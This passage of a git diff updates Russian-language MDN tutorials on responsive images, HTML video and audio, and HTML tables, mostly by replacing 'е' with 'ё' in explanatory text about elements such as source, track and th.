ли захотите заниматься этим очень часто.</li> + <li>Атрибут <code>srcset</code> содержит путь изображения, которое будет выведено. Обратите внимание, что, как и в примере с <code><img></code> выше, <code><source></code> может принимать атрибуты <code>srcset</code> и <code>sizes</code> с несколько предопределёнными изображениями. Так вы можете не только поместить группу изображений внутри элемента <code><picture></code>, но и задать группу предписаний для каждого из них. В реальности вы вряд ли захотите заниматься этим очень часто.</li> <li>Вы всегда должны использовать элемент <code><img></code>, с <code>src</code> и <code>alt</code>, прямо перед <code></picture></code>, иначе изображения не появятся. Это нужно на тот случай, когда ни одно из медиа-условий не удовлетворено (например, если бы вы убрали второй элемент <code><source>)</code> или браузер не поддерживает элемент <code><picture></code>.</li> </ul> @@ -185,7 +185,7 @@ translation_of: Learn/HTML/Multimedia_and_embedding/Responsive_images <h3 id="Смело_используйте_современные_форматы_изображений">Смело используйте современные форматы изображений</h3> -<p>Есть несколько новых форматов изображения (таких, как WebP и JPEG-2000), которым удается сохранять высокое качество при малом размере файла. Тем не менее, браузеры поддерживают их не полностью.</p> +<p>Есть несколько новых форматов изображения (таких, как WebP и JPEG-2000), которым удаётся сохранять высокое качество при малом размере файла. Тем не менее, браузеры поддерживают их не полностью.</p> <p><code><picture></code> позволяет нам использовать их в старых браузерах. Вы можете прописать MIME-тип внутри атрибута <code>type</code>, браузер сразу определит файлы такого типа как неподдерживаемые:</p> diff --git a/files/ru/learn/html/multimedia_and_embedding/video_and_audio_content/index.html b/files/ru/learn/html/multimedia_and_embedding/video_and_audio_content/index.html index d37ae96622..c6cf6331fd 100644 --- a/files/ru/learn/html/multimedia_and_embedding/video_and_audio_content/index.html +++ b/files/ru/learn/html/multimedia_and_embedding/video_and_audio_content/index.html @@ -61,7 +61,7 @@ translation_of: Learn/HTML/Multimedia_and_embedding/Video_and_audio_content <h3 id="Поддержка_нескольких_форматов">Поддержка нескольких форматов</h3> -<p>Присутствует одна проблема с приведенным выше примером, которую вы, возможно, уже заметили, если пытались получить доступ к прямой ссылке выше с помощью браузера, такого как Safari или Internet Explorer. Видео не будет воспроизводиться!</p> +<p>Присутствует одна проблема с приведённым выше примером, которую вы, возможно, уже заметили, если пытались получить доступ к прямой ссылке выше с помощью браузера, такого как Safari или Internet Explorer. Видео не будет воспроизводиться!</p> <p>Давайте кратко рассмотрим терминологию. Форматы, такие как MP3, MP4 и WebM, называются <strong>форматами контейнеров</strong>. Они содержат различные части, которые составляют всю песню или видео — например, звуковую дорожку, видеодорожку (в случае видео) и метаданные для описания представленного носителя.</p> @@ -75,15 +75,15 @@ translation_of: Learn/HTML/Multimedia_and_embedding/Video_and_audio_content <li>Более старый контейнер Ogg имеет тенденцию идти с аудио Ogg Vorbis и видео Ogg Theora. Поддерживалось главным образом в Firefox и Chrome, но было вытеснено более качественным форматом WebM.</li> </ul> -<p>Есть несколько особых случаев. Например, для некоторых типов аудио данные кодека часто хранятся без контейнера или с упрощенным контейнером. Одним из таких примеров является кодек FLAC, который чаще всего хранится в файлах FLAC, которые представляют собой просто необработанные дорожки FLAC.</p> +<p>Есть несколько особых случаев. Например, для некоторых типов аудио данные кодека часто хранятся без контейнера или с упрощённым контейнером. Одним из таких примеров является кодек FLAC, который чаще всего хранится в файлах FLAC, которые представляют собой просто необработанные дорожки FLAC.</p> -<p>Еще одна такая ситуация - всегда популярный файл MP3. «Файл MP3» на самом деле является звуковой дорожкой MPEG-1 Audio Layer III (MP3), хранящейся в контейнере MPEG или MPEG-2. Это особенно интересно, поскольку, хотя большинство браузеров не поддерживают использование мультимедиа MPEG в элементах {{HTMLElement ("video")}} и {{HTMLElement ("audio")}}, они могут поддерживать MP3 из-за его популярности.</p> +<p>Ещё одна такая ситуация - всегда популярный файл MP3. «Файл MP3» на самом деле является звуковой дорожкой MPEG-1 Audio Layer III (MP3), хранящейся в контейнере MPEG или MPEG-2. Это особенно интересно, поскольку, хотя большинство браузеров не поддерживают использование мультимедиа MPEG в элементах {{HTMLElement ("video")}} и {{HTMLElement ("audio")}}, они могут поддерживать MP3 из-за его популярности.</p> <p>Аудиоплеер обычно воспроизводит аудиодорожку напрямую, например файл MP3 или Ogg. Для этого не нужны контейнеры.</p> <h4 id="Поддержка_медиафайлов_в_браузерах">Поддержка медиафайлов в браузерах</h4> -<p>Вышеупомянутые форматы существуют для сжатия видео и аудио в управляемые файлы (необработанные видео и аудио очень большие). Браузеры содержат разные {{Glossary("Codec","кодеки")}}, вроде Vorbis или H.264, которые используются для преобразования сжатого звука и видео в бинарные данные и обратно. Каждый кодек имеет свои преимущества и недостатки, и каждый контейнер может также предлагать свои собственные положительные и отрицательные особенности, влияющие на ваше решение о том, какой из них использовать. Как указано выше, браузеры, к сожалению, не поддерживают одни и те же кодеки, поэтому вам придется предоставить несколько файлов для каждого медиа-продукта. Если вам не хватает правильного кодека для декодирования контента, он просто не сможет воспроизводиться.</p> +<p>Вышеупомянутые форматы существуют для сжатия видео и аудио в управляемые файлы (необработанные видео и аудио очень большие). Браузеры содержат разные {{Glossary("Codec","кодеки")}}, вроде Vorbis или H.264, которые используются для преобразования сжатого звука и видео в бинарные данные и обратно. Каждый кодек имеет свои преимущества и недостатки, и каждый контейнер может также предлагать свои собственные положительные и отрицательные особенности, влияющие на ваше решение о том, какой из них использовать. Как указано выше, браузеры, к сожалению, не поддерживают одни и те же кодеки, поэтому вам придётся предоставить несколько файлов для каждого медиа-продукта. Если вам не хватает правильного кодека для декодирования контента, он просто не сможет воспроизводиться.</p> <div class="note"> <p><strong>Примечание:</strong> Возможно, вам интересно, как сложилась такая ситуация. MP3 (для аудио) и MP4/H.264 (для видео) широко поддерживаются и имеют высокое качество. В то же время, они защищены патентами — американские патенты охватывают MP3 по крайней мере до 2017 года и H.264 самое меньшее до 2027 года, так что браузеры, которые не являются держателями этих патентов, должны платить огромные суммы денег для поддержки этих форматов. Кроме того, многие люди избегают несвободного программного обеспечения в принципе, предпочитая открытые форматы. Вот почему мы должны предоставить несколько форматов для разных браузеров.</p> @@ -93,9 +93,9 @@ translation_of: Learn/HTML/Multimedia_and_embedding/Video_and_audio_content <p>Из-за сложности обеспечения возможности просмотра мультимедийных файлов вашего приложения в любой комбинации браузеров, платформ и устройств, которые вы хотите использовать, выбор наилучшего сочетания кодеков и контейнера может оказаться сложной задачей. Смотрите <a href="/en-US/docs/Web/Media/Formats/Containers#Choosing_the_right_container">выбор подходящего контейнера</a> для получения помощи по выбору формата файла контейнера, наиболее подходящего для ваших нужд; аналогичным образом смотрите <a href="/en-US/docs/Web/Media/Formats/Video_codecs#Выбор_видеокодека">выбор видеокодека</a> и <a href="/en-US/docs/Web/Media/Formats/Audio_codecs">выбор аудиокодека</a> для помощи в выборе первых медиакодеков, которые будут использоваться для вашего контента и вашей целевой аудитории.</p> -<p>Еще одна вещь, о которой следует помнить: мобильные браузеры могут поддерживать дополнительные форматы, не поддерживаемые их настольными эквивалентами, точно так же, как они могут не поддерживать все те же форматы, что и настольная версия. Вдобавок ко всему, как настольные, так и мобильные браузеры могут быть спроектированы так, чтобы разгрузить обработку воспроизведения мультимедиа (либо для всех мультимедиа, либо только для определенных типов, которые он не может обрабатывать внутренне). Это означает, что поддержка мультимедиа частично зависит от того, какое программное обеспечение установил пользователь.</p> +<p>Ещё одна вещь, о которой следует помнить: мобильные браузеры могут поддерживать дополнительные форматы, не поддерживаемые их настольными эквивалентами, точно так же, как они могут не поддерживать все те же форматы, что и настольная версия. Вдобавок ко всему, как настольные, так и мобильные браузеры могут быть спроектированы так, чтобы разгрузить обработку воспроизведения мультимедиа (либо для всех мультимедиа, либо только для определённых типов, которые он не может обрабатывать внутренне). Это означает, что поддержка мультимедиа частично зависит от того, какое программное обеспечение установил пользователь.</p> -<p>Так как мы это сделаем? Взгляните на следующий <a href="https://github.com/mdn/learning-area/blob/gh-pages/html/multimedia-and-embedding/video-and-audio-content/multiple-video-formats.html">обновленный пример</a> (и попробуйте <a href="http://mdn.github.io/learning-area/html/multimedia-and-embedding/video-and-audio-content/multiple-video-formats.html">живой пример</a>):</p> +<p>Так как мы это сделаем? Взгляните на следующий <a href="https://github.com/mdn/learning-area/blob/gh-pages/html/multimedia-and-embedding/video-and-audio-content/multiple-video-formats.html">обновлённый пример</a> (и попробуйте <a href="http://mdn.github.io/learning-area/html/multimedia-and-embedding/video-and-audio-content/multiple-video-formats.html">живой пример</a>):</p> <pre class="brush: html notranslate"><video controls> <source src="rabbit320.mp4" type="video/mp4"> @@ -103,12 +103,12 @@ translation_of: Learn/HTML/Multimedia_and_embedding/Video_and_audio_content <p>Ваш браузер не поддерживает HTML5 видео. Вот <a href="rabbit320.mp4">ссылка на видео</a> взамен.</p> </video></pre> -<p>Здесь мы изъяли атрибут <code>src</code> из нашего тега <code><video></code>, и вместо этого включали отдельные элементы {{htmlelement("source")}}, каждый из которых ссылается на собственный источник. В этом случае браузер пройдется по элементам <code><source></code> и начнёт воспроизводить первый из них, который имеет поддерживаемый кодек. Включение источников WebM и MP4 должно быть достаточно для воспроизведения вашего видео на большинстве платформ и браузеров в наши дни.</p> +<p>Здесь мы изъяли атрибут <code>src</code> из нашего тега <code><video></code>, и вместо этого включали отдельные элементы {{htmlelement("source")}}, каждый из которых ссылается на собственный источник. В этом случае браузер пройдётся по элементам <code><source></code> и начнёт воспроизводить первый из них, который имеет поддерживаемый кодек. Включение источников WebM и MP4 должно быть достаточно для воспроизведения вашего видео на большинстве платформ и браузеров в наши дни.</p> -<p>Каждый элемент <code><source></code> также имеет атрибут <code>type</code>. Он не обязательный, но рекомендуется его включать — он содержит {{glossary("MIME type","MIME types")}} видеофайла, браузеры могут прочитать их и сразу же пропустить видео, которые они не понимают. Если <code>type</code> не включен, браузеры загружают и пытаются воспроизвести каждый файл до тех пор, пока не найдут тот, который будет работать, затрачивая больше времени и ресурсов.</p> +<p>Каждый элемент <code><source></code> также имеет атрибут <code>type</code>. Он не обязательный, но рекомендуется его включать — он содержит {{glossary("MIME type","MIME types")}} видеофайла, браузеры могут прочитать их и сразу же пропустить видео, которые они не понимают. Если <code>type</code> не включён, браузеры загружают и пытаются воспроизвести каждый файл до тех пор, пока не найдут тот, который будет работать, затрачивая больше времени и ресурсов.</p> <div class="note"> -<p><strong>Примечание</strong>: Наша <a href="/ru/docs/Web/HTML/Поддерживаемые_медиа_форматы">статья о поддерживаемых медиаформатах</a> описывает некоторые распространенные {{glossary("MIME type","MIME types")}}.</p> +<p><strong>Примечание</strong>: Наша <a href="/ru/docs/Web/HTML/Поддерживаемые_медиа_форматы">статья о поддерживаемых медиаформатах</a> описывает некоторые распространённые {{glossary("MIME type","MIME types")}}.</p> </div> <h3 id="Другие_параметры_<video>">Другие параметры <video></h3> @@ -136,12 +136,12 @@ translation_of: Learn/HTML/Multimedia_and_embedding/Video_and_audio_content <dt><strong>{{htmlattrxref("loop","video")}}</strong></dt> <dd>Этот атрибут позволяет воспроизводить видео (или аудио) снова, когда он заканчивается. Это также может раздражать, поэтому используйте тогда, когда это действительно необходимо.</dd> <dt><strong>{{htmlattrxref("muted","video")}}</strong></dt> - <dd>Этот атрибут заставляет проигрыватель воспроизводить звук, отключенный по умолчанию.</dd> + <dd>Этот атрибут заставляет проигрыватель воспроизводить звук, отключённый по умолчанию.</dd> <dt><strong>{{htmlattrxref("poster","video")}}</strong></dt> <dd>Этот атрибут принимает в качестве значения URL-адрес изображения, который будет отображаться до воспроизведения видео. Он предназначен для заставки к видео или рекламы.</dd> <dt><strong>{{htmlattrxref("preload","video")}}</strong></dt> <dd> - <p>этот атрибут используется в элементе для буферизации больших файлов. Он может принимать одно из трех значений:</p> + <p>этот атрибут используется в элементе для буферизации больших файлов. Он может принимать одно из трёх значений:</p> <ul> <li><code>"none"</code> не буферизирует файл</li> @@ -151,7 +151,7 @@ translation_of: Learn/HTML/Multimedia_and_embedding/Video_and_audio_content </dd> </dl> -<p>Вы можете найти приведенный выше пример для воспроизведения <a href="http://mdn.github.io/learning-area/html/multimedia-and-embedding/video-and-audio-content/extra-video-features.html">на Github</a> (также <a href="https://github.com/mdn/learning-area/blob/gh-pages/html/multimedia-and-embedding/video-and-audio-content/extra-video-features.html">просмотрите исходный код</a>.) Обратите внимание, что мы не включили атрибут <code>autoplay</code> в live-версию - если видео начнет воспроизводиться, как только страница загрузится, вы не увидите заставку к видео!</p> +<p>Вы можете найти приведённый выше пример для воспроизведения <a href="http://mdn.github.io/learning-area/html/multimedia-and-embedding/video-and-audio-content/extra-video-features.html">на Github</a> (также <a href="https://github.com/mdn/learning-area/blob/gh-pages/html/multimedia-and-embedding/video-and-audio-content/extra-video-features.html">просмотрите исходный код</a>.) Обратите внимание, что мы не включили атрибут <code>autoplay</code> в live-версию - если видео начнёт воспроизводиться, как только страница загрузится, вы не увидите заставку к видео!</p> <h3 id="Элемент_<audio>">Элемент <audio> </h3> @@ -178,11 +178,11 @@ translation_of: Learn/HTML/Multimedia_and_embedding/Video_and_audio_content <li>Он также не поддерживает атрибут <code>poster</code> опять же, из-за отсутствия визуального компонента. </li> </ul> -<p>Помимо этого, <code><audio></code> поддерживает все те же функции, что и <code><video></code> - просмотрите приведенные выше разделы для получения дополнительной информации о них.</p> +<p>Помимо этого, <code><audio></code> поддерживает все те же функции, что и <code><video></code> - просмотрите приведённые выше разделы для получения дополнительной информации о них.</p> <h2 id="Отображение_текстовых_дорожек_к_видео">Отображение текстовых дорожек к видео</h2> -<p>Теперь мы обсудим немного более продвинутую концепцию, о которой очень полезно знать. Многие люди не могут или не хотят слышать аудио или видео контент, который они находят в Интернете, по крайней мере, в определенное время. Например:</p> +<p>Теперь мы обсудим немного более продвинутую концепцию, о которой очень полезно знать. Многие люди не могут или не хотят слышать аудио или видео контент, который они находят в Интернете, по крайней мере, в определённое время. Например:</p> <ul> <li>У многих людей есть слуховые нарушения (более известные как слабослышащие или глухие).</li> @@ -196,11 +196,11 @@ translation_of: Learn/HTML/Multimedia_and_embedding/Video_and_audio_content <p><strong><strong>Замечание</strong>: </strong>"Транскрибировать" значит записывать устную речь в виде текста. Полученный текст представляет собой «стенограмму».</p> </div> -<p>WebVTT - это формат для записи текстовых файлов, содержащих несколько строк текста, а также метаданные, такие как время, в которое вы хотите отображать каждую текстовую строку, и даже ограниченную информацию о стиле/позиционировании. Эти текстовые строки называются репликами, и вы можете отображать разные типы для разных целей, наиболее распространенными являются:</p> +<p>WebVTT - это формат для записи текстовых файлов, содержащих несколько строк текста, а также метаданные, такие как время, в которое вы хотите отображать каждую текстовую строку, и даже ограниченную информацию о стиле/позиционировании. Эти текстовые строки называются репликами, и вы можете отображать разные типы для разных целей, наиболее распространёнными являются:</p> <dl> <dt><strong>субтитры</strong></dt> - <dd>Переводы иностранного материала, для людей, которые не понимают слов, произнесенных в аудио.</dd> + <dd>Переводы иностранного материала, для людей, которые не понимают слов, произнесённых в аудио.</dd> <dt><strong>титры</strong></dt> <dd>Синхронизированные транскрипции диалога или описания значимых звуков, чтобы люди, которые не могут слышать звук, поняли что происходит.</dd> <dt><strong>рассчитанные описания</strong></dt> @@ -226,7 +226,7 @@ translation_of: Learn/HTML/Multimedia_and_embedding/Video_and_audio_content <ol> <li>Сохраните его как <code>.vtt</code>- файл, в разумном месте.</li> - <li>Ссылка на файл <code>.vtt</code> с элементом {{htmlelement ("track")}}. <code><track></code> должен быть помещен в <code><audio></code> или <code><video></code>, но после элементов <code><source></code>. Используйте атрибут {{htmlattrxref ("kind", "track")}}, чтобы указать, являются ли реплики <code>субтитрами</code>, <code>титрами</code> или <code>описаниями</code>. Кроме того, используйте {{htmlattrxref ("srclang", "track")}}, чтобы сообщить браузеру, на каком языке вы записывали субтитры.</li> + <li>Ссылка на файл <code>.vtt</code> с элементом {{htmlelement ("track")}}. <code><track></code> должен быть помещён в <code><audio></code> или <code><video></code>, но после элементов <code><source></code>. Используйте атрибут {{htmlattrxref ("kind", "track")}}, чтобы указать, являются ли реплики <code>субтитрами</code>, <code>титрами</code> или <code>описаниями</code>. Кроме того, используйте {{htmlattrxref ("srclang", "track")}}, чтобы сообщить браузеру, на каком языке вы записывали субтитры.</li> </ol> <p>Вот пример:</p> @@ -238,7 +238,7 @@ translation_of: Learn/HTML/Multimedia_and_embedding/Video_and_audio_content </video> </pre> -<p dir="ltr" id="tw-target-text">Это приведет к просмотру видео с субтитрами, таким как:</p> +<p dir="ltr" id="tw-target-text">Это приведёт к просмотру видео с субтитрами, таким как:</p> <p><img alt='Video player with stand controls such as play, stop, volume, and captions on and off. The video playing shows a scene of a man holding a spear-like weapon, and a caption reads "Esta hoja tiene pasado oscuro."' src="https://mdn.mozillademos.org/files/7887/video-player-with-captions.png" style="display: block; height: 365px; margin: 0px auto; width: 593px;"></p> @@ -250,7 +250,7 @@ translation_of: Learn/HTML/Multimedia_and_embedding/Video_and_audio_content <h3 id="Активное_обучение_Внедрение_собственного_аудио_и_видео">Активное обучение: Внедрение собственного аудио и видео</h3> -<p>Для этого активного обучения мы (в идеале) хотели бы, чтобы вы вышли на улицу и записали некоторые из ваших собственных видео и аудио. Большинство телефонов в наши дни позволяют очень легко записывать аудио и видео, и, если вы можете перенести их на свой компьютер, вы можете их использовать. Возможно, вам придется сделать некоторое преобразование, чтобы в конечном итоге получить WebM и MP4 в случае видео, а также MP3 и Ogg в случае аудио, но есть достаточно программ, чтобы вы могли сделать это без особых проблем, таких как <a href="http://www.mirovideoconverter.com/">Miro Video Converter</a> и <a href="https://sourceforge.net/projects/audacity/">Audacity</a>. Мы хотели бы, чтобы вы попробовали сделать это!</p> +<p>Для этого активного обучения мы (в идеале) хотели бы, чтобы вы вышли на улицу и записали некоторые из ваших собственных видео и аудио. Большинство телефонов в наши дни позволяют очень легко записывать аудио и видео, и, если вы можете перенести их на свой компьютер, вы можете их использовать. Возможно, вам придётся сделать некоторое преобразование, чтобы в конечном итоге получить WebM и MP4 в случае видео, а также MP3 и Ogg в случае аудио, но есть достаточно программ, чтобы вы могли сделать это без особых проблем, таких как <a href="http://www.mirovideoconverter.com/">Miro Video Converter</a> и <a href="https://sourceforge.net/projects/audacity/">Audacity</a>. Мы хотели бы, чтобы вы попробовали сделать это!</p> <p>Если у вас нет какого-либо видео или аудио, вы можете свободно пользоваться нашими <a href="https://github.com/mdn/learning-area/tree/master/html/multimedia-and-embedding/video-and-audio-content">образцами аудио и видео файлов</a> для выполнения этого упражнения. Вы также можете использовать наш образец кода для справки.</p> diff --git a/files/ru/learn/html/tables/advanced/index.html b/files/ru/learn/html/tables/advanced/index.html index e578557eb7..a98631d064 100644 --- a/files/ru/learn/html/tables/advanced/index.html +++ b/files/ru/learn/html/tables/advanced/index.html @@ -7,7 +7,7 @@ translation_of: Learn/HTML/Tables/Advanced <div>{{PreviousMenuNext("Learn/HTML/Tables/Basics", "Learn/HTML/Tables/Structuring_planet_data", "Learn/HTML/Tables")}}</div> -<p class="summary">Во второй статье этого модуля мы рассматриваем еще несколько продвинутых возможностей в HTML таблицах — такие как заголовок/описание и группировка строк внутри head, body и footer секциях таблицы, а также доступность таблиц для пользователей с ограниченными возможностями.</p> +<p class="summary">Во второй статье этого модуля мы рассматриваем ещё несколько продвинутых возможностей в HTML таблицах — такие как заголовок/описание и группировка строк внутри head, body и footer секциях таблицы, а также доступность таблиц для пользователей с ограниченными возможностями.</p> <table class="learn-box standard-table"> <tbody> @@ -24,7 +24,7 @@ translation_of: Learn/HTML/Tables/Advanced <h2 id="Добавление_заголовка_к_таблице_с_помощью_<caption>">Добавление заголовка к таблице с помощью <caption></h2> -<p>Вы можете добавить заголовок для таблицы установив его в элементе {{htmlelement("caption")}} и этот элемент необходимо поместить внутрь элемента {{htmlelement("table")}}. Причем вам нужно поместить его сразу после открытия тега <code><table></code>.</p> +<p>Вы можете добавить заголовок для таблицы установив его в элементе {{htmlelement("caption")}} и этот элемент необходимо поместить внутрь элемента {{htmlelement("table")}}. Причём вам нужно поместить его сразу после открытия тега <code><table></code>.</p> <pre class="brush: html notranslate"><table> <caption>Dinosaurs in the Jurassic period</caption> @@ -42,7 +42,7 @@ translation_of: Learn/HTML/Tables/Advanced <h3 id="Упражнение_Добавление_заголовка">Упражнение: Добавление заголовка</h3> -<p>Давайте попробуем это, вернемся к примеру который мы ранее встретили в прошлой статье.</p> +<p>Давайте попробуем это, вернёмся к примеру который мы ранее встретили в прошлой статье.</p> <ol> <li>Откройте расписание занятий школьного учителя по языку в конце статьи <a href="/ru/docs/Learn/HTML/Tables/Basics#Active_learning_colgroup_and_col">HTML таблицы основы</a>, или сделайте копию нашего <a href="https://github.com/mdn/learning-area/blob/master/html/tables/basic/timetable-fixed.html">timetable-fixed.html</a> файла.</li> @@ -69,7 +69,7 @@ translation_of: Learn/HTML/Tables/Advanced </ul> <div class="note"> -<p><strong>Примечание</strong>: <code><tbody></code> всегда включен в каждой таблице, неявно если не укажете его в коде. Проверьте это, открыв один из предыдущих примеров в котором не используется <code><tbody></code> и посмотрите HTML код в <a href="/ru/docs/Learn/Common_questions/What_are_browser_developer_tools">browser developer tools</a> — вы увидите, что браузер добавил этот тег самостоятельно. Вы могли бы задаться вопросом почему мы должны волноваться о его включении, но вы должны, потому что это дает больше контроля над структурой таблицы и стилем.</p> +<p><strong>Примечание</strong>: <code><tbody></code> всегда включён в каждой таблице, неявно если не укажете его в коде. Проверьте это, открыв один из предыдущих примеров в котором не используется <code><tbody></code> и посмотрите HTML код в <a href="/ru/docs/Learn/Common_questions/What_are_browser_developer_tools">browser developer tools</a> — вы увидите, что браузер добавил этот тег самостоятельно. Вы могли бы задаться вопросом почему мы должны волноваться о его включении, но вы должны, потому что это даёт больше контроля над структурой таблицы и стилем.</p> </div> <h3 id="Упражнение_Добавление_структуры_таблицы">Упражнение: Добавление структуры таблицы</h3> @@ -93,11 +93,11 @@ tfoot { } </pre> </li> - <li>Сохраните, обновите и вы увидите результат. Если <code><tbody></code> и <code><tfoot></code> элементы не были установлены, то вам придется писать много сложных селекторов/правил для применения одного и того же стиля.</li> + <li>Сохраните, обновите и вы увидите результат. Если <code><tbody></code> и <code><tfoot></code> элементы не были установлены, то вам придётся писать много сложных селекторов/правил для применения одного и того же стиля.</li> </ol> <div class="note"> -<p><strong>Примечание</strong>: Мы не ожидаем что сейчас вы полностью поймете CSS. Вы узнаете больше когда пройдете наши CSS курсы (например, <a href="/ru/docs/Learn/CSS/Introduction_to_CSS">Вступление в CSS</a> это хорошее место для начала; у нас также есть статья конкретно о <a href="https://wiki.developer.mozilla.org/ru/docs/Learn/CSS/Building_blocks/Styling_tables">стилизации таблиц</a>).</p> +<p><strong>Примечание</strong>: Мы не ожидаем что сейчас вы полностью поймёте CSS. Вы узнаете больше когда пройдёте наши CSS курсы (например, <a href="/ru/docs/Learn/CSS/Introduction_to_CSS">Вступление в CSS</a> это хорошее место для начала; у нас также есть статья конкретно о <a href="https://wiki.developer.mozilla.org/ru/docs/Learn/CSS/Building_blocks/Styling_tables">стилизации таблиц</a>).</p> </div> <p>Ваша готовая таблица должна выглядеть примерно так:</p> @@ -284,7 +284,7 @@ tfoot { <h2 id="Таблицы_для_пользователей_с_ограниченными_возможностями">Таблицы для пользователей с ограниченными возможностями</h2> -<p>Давайте кратко опишем как мы используем данные таблицы. Таблицы могут быть удобным инструментом, который дает нам быстрый доступ к данным и позволяет искать разные значения. Например, быстрого взгляда на таблицу ниже достаточно, чтобы найти сколько колец было продано в Амстердаме в августе 2016. Чтобы понять эту информацию, мы проводим визуальные ассоциации между данными в этой таблице и ее заголовками колонок и/или строк.</p> +<p>Давайте кратко опишем как мы используем данные таблицы. Таблицы могут быть удобным инструментом, который даёт нам быстрый доступ к данным и позволяет искать разные значения. Например, быстрого взгляда на таблицу ниже достаточно, чтобы найти сколько колец было продано в Амстердаме в августе 2016. Чтобы понять эту информацию, мы проводим визуальные ассоциации между данными в этой таблице и её заголовками колонок и/или строк.</p> <table> <caption>Items Sold August 2016</caption> @@ -373,7 +373,7 @@ tfoot { </tr> </thead></pre> -<p>И у каждой строки может быть определен заголовок, как здесь (если мы добавили заголовки строк и заголовки столбцов):</p> +<p>И у каждой строки может быть определён заголовок, как здесь (если мы добавили заголовки строк и заголовки столбцов):</p> <pre class="brush: html notranslate"><tr> <th scope="row">Haircut</th> @@ -385,7 +385,7 @@ tfoot { <p>Скринридер распознает разметку структурированную таким образом, что позволяют пользователям прочитать весь столбец или строку целиком.</p> -<p>Атрибут <code>scope</code> имеет еще два возможных значения — <code>colgroup</code> и <code>rowgroup</code>. Они используются для заголовков, которые располагаются вверху ваших столбцов или строк. Если вы посмотрите на таблицу "Items sold..." в начале этого раздела статьи, вы увидите что ячейка с "Clothes" находится над ячейками "Trousers", "Skirts" и "Dresses". Все эти ячейки должны быть помечены как заголовки (<code><th></code>), но "Clothes" заголовок который находится сверху и определяет остальные три подзаголовка. Поэтому "Clothes" должна получить атрибут <code>scope="colgroup"</code>, тогда как другие получат атрибут <code>scope="col"</code>.</p> +<p>Атрибут <code>scope</code> имеет ещё два возможных значения — <code>colgroup</code> и <code>rowgroup</code>. Они используются для заголовков, которые располагаются вверху ваших столбцов или строк. Если вы посмотрите на таблицу "Items sold..." в начале этого раздела статьи, вы увидите что ячейка с "Clothes" находится над ячейками "Trousers", "Skirts" и "Dresses". Все эти ячейки должны быть помечены как заголовки (<code><th></code>), но "Clothes" заголовок который находится сверху и определяет остальные три подзаголовка. Поэтому "Clothes" должна получить атрибут <code>scope="colgroup"</code>, тогда как другие получат атрибут <code>scope="col"</code>.</p> <h3 class="attTitle" id="Атрибуты_id_и_headers">Атрибуты id и headers</h3> @@ -393,12 +393,12 @@ tfoot { <ol> <li>Вы устанавливаете уникальный <code>id</code> для каждого<code><th></code> элемента.</li> - <li>Вы устанавливаете атрибут <code>headers</code> для каждого <code><td></code> элемента. Каждый <code>headers</code> атрибут должен содержать список всех <code>id</code> , разделенный пробелами, ко всем <code><th></code> элементам которые действуют как заголовок для этой ячейки.</li> + <li>Вы устанавливаете атрибут <code>headers</code> для каждого <code><td></code> элемента. Каждый <code>headers</code> атрибут должен содержать список всех <code>id</code> , разделённый пробелами, ко всем <code><th></code> элементам которые действуют как заголовок для этой ячейки.</li> </ol> <p>Это обеспечивает явное определение позиции для каждой ячейки вашей HTML таблицы, определяет заголовки столбцов и строк таблицы. Для того чтобы это работало реально хорошо таблице нужно определить и заголовки столбцов, и заголовки строк.</p> -<p>Вернемся к нашему примеру с расчетом затрат, его можно переписать следующим образом:</p> +<p>Вернёмся к нашему примеру с расчётом затрат, его можно переписать следующим образом:</p> <pre class="brush: html notranslate"><thead> <tr> @@ -440,7 +440,7 @@ tfoot { <h2 id="Заключение">Заключение</h2> -<p>Есть еще некоторые вещи которые можно узнать о HTML таблицах, но мы действительно дали все что нужно на настоящий момент. Дальше вы возможно захотите больше узнать о стилизации HTML таблиц, посмотрите <a href="/en-US/docs/Learn/CSS/Styling_boxes/Styling_tables">Styling Tables</a>.</p> +<p>Есть ещё некоторые вещи которые можно узнать о HTML таблицах, но мы действительно дали все что нужно на настоящий момент. Дальше вы возможно захотите больше узнать о стилизации HTML таблиц, посмотрите <a href="/en-US/docs/Learn/CSS/Styling_boxes/Styling_tables">Styling Tables</a>.</p> <div>{{PreviousMenuNext("Learn/HTML/Tables/Basics", "Learn/HTML/Tables/Structuring_planet_data", "Learn/HTML/Tables")}}</div> diff --git a/files/ru/learn/html/tables/basics/index.html b/files/ru/learn/html/tables/basics/index.html index 15f766186a..08a1767593 100644 --- a/files/ru/learn/html/tables/basics/index.html +++ b/files/ru/learn/html/tables/basics/index.html @@ -30,7 +30,7 @@ translation_of: Learn/HTML/Tables/Basics <p><img alt="A swimming timetable showing a sample data table" src="https://mdn.mozillademos.org/files/14587/swimming-timetable.png" style="display: block; height: 301px; margin: 0px auto; width: 794px;"></p> -<p>Люди постоянно используют таблицы, причем уже давно, как показывает документ по переписи в США, относящийся к 1800 году:</p> +<p>Люди постоянно используют таблицы, причём уже давно, как показывает документ по переписи в США, относящийся к 1800 году:</p> <p><img alt="A very old parchment document; the data is not easily readable, but it clearly shows a data table being used." src="https://mdn.mozillademos.org/files/14585/1800-census.jpg" style="display: block; height: 505px; margin: 0px auto; width: 800px;"></p> @@ -38,7 +38,7 @@ translation_of: Learn/HTML/Tables/Basics <h3 id="Как_работает_таблица">Как работает таблица?</h3> -<p>Смысл таблицы в том, что она жесткая. Информацию легко интерпретировать, визуально сопоставляя заголовки строк и столбцов. Например, посмотрите на приведенную ниже таблицу и найдите единственное личное местоимение, используемое в третьем лице , с полом ♀, выступающее в качестве объекта в предложении. Ответ можно найти, сопоставив соответствующие заголовки столбцов и строк.</p> +<p>Смысл таблицы в том, что она жёсткая. Информацию легко интерпретировать, визуально сопоставляя заголовки строк и столбцов. Например, посмотрите на приведённую ниже таблицу и найдите единственное личное местоимение, используемое в третьем лице , с полом ♀, выступающее в качестве объекта в предложении. Ответ можно найти, сопоставив соответствующие заголовки столбцов и строк.</p> <table> <caption>Personal pronouns</caption> @@ -68,7 +68,7 @@ translation_of: Learn/HTML/Tables/Basics <tr> <th class="symbol" scope="row">♀</th> <td>она</td> - <td>ее</td> + <td>её</td> </tr> <tr> <th class="symbol" scope="row">o</th> @@ -94,18 +94,18 @@ translation_of: Learn/HTML/Tables/Basics </tbody> </table> -<p>Если правильно представить таблицу HTML, интерпретировать ее данные смогут даже люди, имеющие проблемы со зрением.</p> +<p>Если правильно представить таблицу HTML, интерпретировать её данные смогут даже люди, имеющие проблемы со зрением.</p> <h3 id="Оформление_таблиц">Оформление таблиц</h3> -<p><a href="https://github.com/mdn/learning-area/blob/master/html/tables/basic/personal-pronouns.html">Исходный код HTML (HTML source code)</a> вышеприведенной таблице есть в GitHub; посмотрите его и <a 